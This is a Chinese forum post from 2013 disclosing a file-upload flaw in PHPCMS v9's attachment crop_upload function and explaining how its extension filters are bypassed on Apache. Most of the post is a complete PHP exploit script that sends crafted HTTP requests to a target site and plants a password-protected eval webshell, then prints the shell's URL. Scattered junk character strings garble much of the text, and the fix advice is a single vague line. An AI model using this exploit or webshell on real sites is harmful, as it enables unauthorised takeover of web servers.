找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2075|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
' Y+ N( l3 j% D! S# ]* ^! y7 q+ d; m+ n  d# g/ H) F6 C1 b
简要描述:% @7 S( Q  h5 g5 a% W2 W- u
7 N8 J6 e- ~, k
phpcms v9 getshell (apache); s3 f8 f% i# q8 ?& o- V, R
详细说明:; [) f4 b9 M2 n6 o: n
% ]' P# Q! M' F  ~! ~
漏洞文件:phpcms\modules\attachment\attachments.php
( L$ b- ]& q" b. g2 q/ B
+ U: b( j# ~8 C7 Z7 Gpublic function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
# g6 d  Z+ X6 X' o后缀检测:phpcms\modules\attachment\functions\global.func.php2 Z) F5 M7 S1 X2 e

5 w, p9 X/ u! `4 H# Y' ~, C
- h' K- y' }( R8 `* `: t& K
' _/ u( {( t( e0 A: p$ Ofunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
8 z* `% g( n  U2 S# V/ g" E
) k6 n" o! _2 S  C4 ]% Q1 L关键函数:, ?7 F* L+ J0 X; n+ M; _/ D3 u

* M2 m  H0 Q4 S- o+ | 4 X+ q0 q& ?+ H3 R; G

' ~* `. b1 @1 G% \0 L$ K1 @function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
6 i: C: ^1 L8 N
( Y; k' w5 N3 j1 L- B+ r  Fileext函数是对文件后缀名的提取。
& p+ W9 Z+ D/ e5 U% C  A  o/ b根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php! ~6 i2 o! ~/ b% w  E
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
" n0 B/ r6 R6 \! q: Z+ n我们回到public function crop_upload() 函数中% S$ N$ N0 }4 e' {' z# U/ i
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();# i+ q0 H4 ]  Q2 f
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数" a" p' X. {+ z5 ~# F
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
% Y1 z$ Y$ f' D# F* O- M  B% q' ^经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
5 w6 o8 j9 ]3 _& e$ z- Y最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。1 o4 B) U# ]* t: w' Z
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
* a; f; w8 _. `: k/ l漏洞证明:& @/ y( w2 a7 Q( h: N) e% w

5 u3 |5 o. n, ^8 b/ ?exp:
. M! G) E9 ~+ Q9 O+ y1 h: g- J7 N+ ?8 Y% s4 F8 C" d! V0 P
<?php; L% n4 a$ _# f0 i5 p7 @: }
error_reporting(E_ERROR);+ ?' [- t& W$ a: L; [3 S5 [
set_time_limit(0);
; i- V! I4 V) F  S$pass="ln";
! F' n$ w* V; Y1 Iprint_r('
; {3 L( @, D" d; z+---------------------------------------------------------------------------+; `( N* h+ O5 [: y: S
PHPCms V9 GETSHELL 0DAY & B9 K3 i0 z# w$ H; @" J
code by L.N.8 F8 Y% S* E( I6 K
1 i% c- H0 Q. v' |5 D9 c9 T
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
* E+ Z+ t* X4 e& E  [+---------------------------------------------------------------------------+
4 D0 y! d: }1 P8 Y');  a2 ?$ C3 s7 Z* o$ o
if ($argc < 2) {, o2 j9 a# Y" Z7 N5 L% \& U! x1 |* P, c
print_r('
( |/ Y3 V7 ]- i0 _8 y+---------------------------------------------------------------------------+
4 c! [/ R3 ~+ a  o# P( z$ A! lUsage: php '.$argv[0].' url path
7 |/ Q9 r% i  O. A) C6 W1 V' c# E7 |% i) N% A
Example:' C( r1 k% l4 a3 f* b
1.php '.$argv[0].' lanu.sinaapp.com- D5 G2 T) d! [
2.php '.$argv[0].' lanu.sinaapp.com /phpcms7 d5 q; M1 R, o  x
+---------------------------------------------------------------------------+
7 r  Q  G0 M. }$ K');
/ M' P+ B0 S* C2 s3 N/ C" n0 d7 }exit;9 Z& c) t' }) O/ X4 U& b
}
, g- T; s' k. }3 g: e) b- L5 W/ L/ X" V& u/ u
$url = $argv[1];
+ |7 F7 x! _" g, i5 i$path = $argv[2];
8 t+ l% W- s! a5 a" {% X8 O$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';! }8 w+ S  S( a$ C' q6 P
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
6 c4 S, C, C  K7 V* F9 Xif($ret=Create_dir($url,$path))
# w3 W3 N: r2 q1 ^, m5 k# v{* M+ K; p. T8 ]
//echo $ret;. g  k) g' t" p4 x0 I; U- `. a6 [9 k9 Q
$pattern = "|Server:[^,]+?|U";- Y6 g; B3 m% u0 Y5 L- ?- t
preg_match_all($pattern, $ret, $matches);: w7 d2 i/ t0 n" C
if($matches[0][0]). G+ H; }- I( t6 [, P
{
0 L; ]8 @; G5 l, qif(strpos($matches[0][0],'Apache') == false)
  v6 a0 C* \! F$ d{
3 d( L- a2 K& o% P( N. P3 Xecho "\n亲!此网站不是apache的网站。\n";exit;
  }1 J+ z8 A1 I: R}: F( N5 ]7 R. J, f7 @
}
( C  D* \( s- E* A+ ^6 n' F$ret = GetShell($url,$phpshell,$path,$file);! v5 q6 }4 |7 |. E- H/ |7 h
$pattern = "|http:\/\/[^,]+?\.,?|U";
) V& Y/ I; l4 s( `+ ipreg_match_all($pattern, $ret, $matches);
' R5 F% ~3 |' S3 b* Wif($matches[0][0])( n+ e: \: k9 A. B9 Z
{, e: ]! z8 Z# X$ V  B2 q: W
echo "\n".'密码为: '.$pass."\n";1 W( p- C0 l6 J, b% G
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
3 h$ ~0 I/ t# V/ f; `3 W}# e9 ]1 F7 R/ j8 [
else+ l  E5 h+ Q3 ^/ Y% T1 {
{
6 n) U3 d: O' ~$pattern = "|\/uploadfile\/[^,]+?\.,?|U";% Q- L# _0 i6 ?
preg_match_all($pattern, $ret, $matches);; s0 h: W8 v1 t7 x, n5 k+ i
if($matches[0][0])6 q3 F8 L7 a$ F, {
{
3 w% ]8 Z3 P( K6 s2 i. Uecho "\n".'密码为: '.$pass."\n";
6 n4 W6 w( T' M, S& Aecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
  t2 h, Y* O8 q' `/ ?}" T+ J  G1 [5 \' C/ P
else) ~! T% B$ V" S4 e! D
{
8 a/ ~! i: [! ~5 h* r9 s4 O3 Z; m. o2 Techo "\r\n没得到!\n";exit;
' L* ]+ E7 A/ z# ^& k8 e}" u* l/ B  W/ I% S0 h$ f' S
}
2 k& u8 P3 r  L}
  X7 _) H" r/ _9 O8 d" p! t2 ^* H! u2 ?0 ]" |! J9 C
function GetShell($url,$shell,$path,$js)
8 G1 r! h( ~+ A1 h3 w; Z( R- o{' p, s, o, H7 R* d$ T0 @/ @
$content =$shell;
  u+ S. S' k: D) I- U' w' J$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";/ c1 r9 J' J, |! q3 P9 X
$data .= "Host: ".$url."\r\n";- ]/ o4 q1 J8 i
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
- E# z" e# l/ I8 b6 ~$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
6 Q% C1 K5 H0 @1 O! V2 W2 g, u3 u$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";% \; i7 y- S* i, j5 g
$data .= "Connection: close\r\n";
& z+ P4 V9 Z9 ~7 {* R$data .= "Content-Length: ".strlen($content)."\r\n\r\n";4 `; t% \/ t6 w" r2 t
$data .= $content."\r\n";1 |; ]: j2 {- A, \# i
$ock=fsockopen($url,80);
& q: P$ B# q+ Y0 Nif (!$ock)
4 Z- j- j0 _  }( @- D  s- ~{" r! {) M. ]0 n# \) Y
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;* l& K! P8 m+ y
}9 |' l$ X& S3 t3 ^& p& ]9 n
else
. I8 J% k- y  G: ?" D0 @{+ B2 ^$ [% k, [7 s9 G( a3 Z
fwrite($ock,$data);
/ W* V" @& D" [5 k1 _. i. J$resp = '';; K) k9 z+ d  K- o% L- `1 c* ]
while (!feof($ock))
. m! U9 O/ v3 d. f1 l{- m2 W4 T3 ^* p( s8 @) Y
$resp.=fread($ock, 1024);
7 {( K$ w8 h4 O! B3 L}
0 g+ \2 \% K6 p9 hreturn $resp;) I/ I! v1 B. _- a* E/ L0 m* _
}
: p# T5 [0 X! d/ V) i+ E}
$ k: [6 `- {1 i9 _, U* r
$ @0 y  S$ ~2 v7 _7 r! ufunction Create_dir($url,$path='')
8 w  j9 T. p. [{0 X. [% U0 r' ?
$content ='I love you';% A# _2 g6 X3 @2 k+ n  T
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";, \. a/ @3 O) B: A2 t
$data .= "Host: ".$url."\r\n";
0 p% W6 F. }. d5 v$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
3 f; t8 C* |) X7 I) Y$ i  ^. Z$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
6 n. c, W/ I9 V1 a3 e2 J$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
: D4 c# ~' w# e$ `; f5 c* A4 d$data .= "Connection: close\r\n";
9 J" U) s1 e( p, P  K# n+ z$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
; D7 H1 \; q7 ]3 w1 ]$data .= $content."\r\n";
3 ]7 ~6 [0 ?' D, X) ?: i7 Y$ock=fsockopen($url,80);
: ?1 G, h0 E& |5 ~" Q/ \if (!$ock)+ X7 a- ?6 @+ a. Q" k7 T; n: c
{, g1 v/ L3 \3 Q' ~" F8 ]
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;1 f* s6 `0 z$ k# }
}
+ V. }3 B) z1 }# ^2 K8 u4 `fwrite($ock,$data);
" z- ]* j6 [- K$ V& R9 p$resp = '';& x- G0 z8 \: L- _
while (!feof($ock)). D% Z8 b5 g4 O
{/ c# P' y& }  I' L, g$ U
$resp.=fread($ock, 1024);0 T  L! p% U" D' [4 D5 ]9 x
}
( }1 x0 @+ F8 n2 x+ H  R" k6 treturn $resp;
% ^! z  D. u; f' ^* O2 E}( D7 }1 E+ n) i; X+ D
?>   R2 o2 V: u, A  \
; w/ ~) o# Y+ s8 @
修复方案:
' m. [3 J% U1 N. V% m" y' I0 G
9 k9 E" _/ e  ?# Q7 C' `0 C4 f8 o6 M过滤过滤再过滤
, ]" |/ t3 F2 f  }+ @. E' c- L. M
8 h! P; K: b: p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表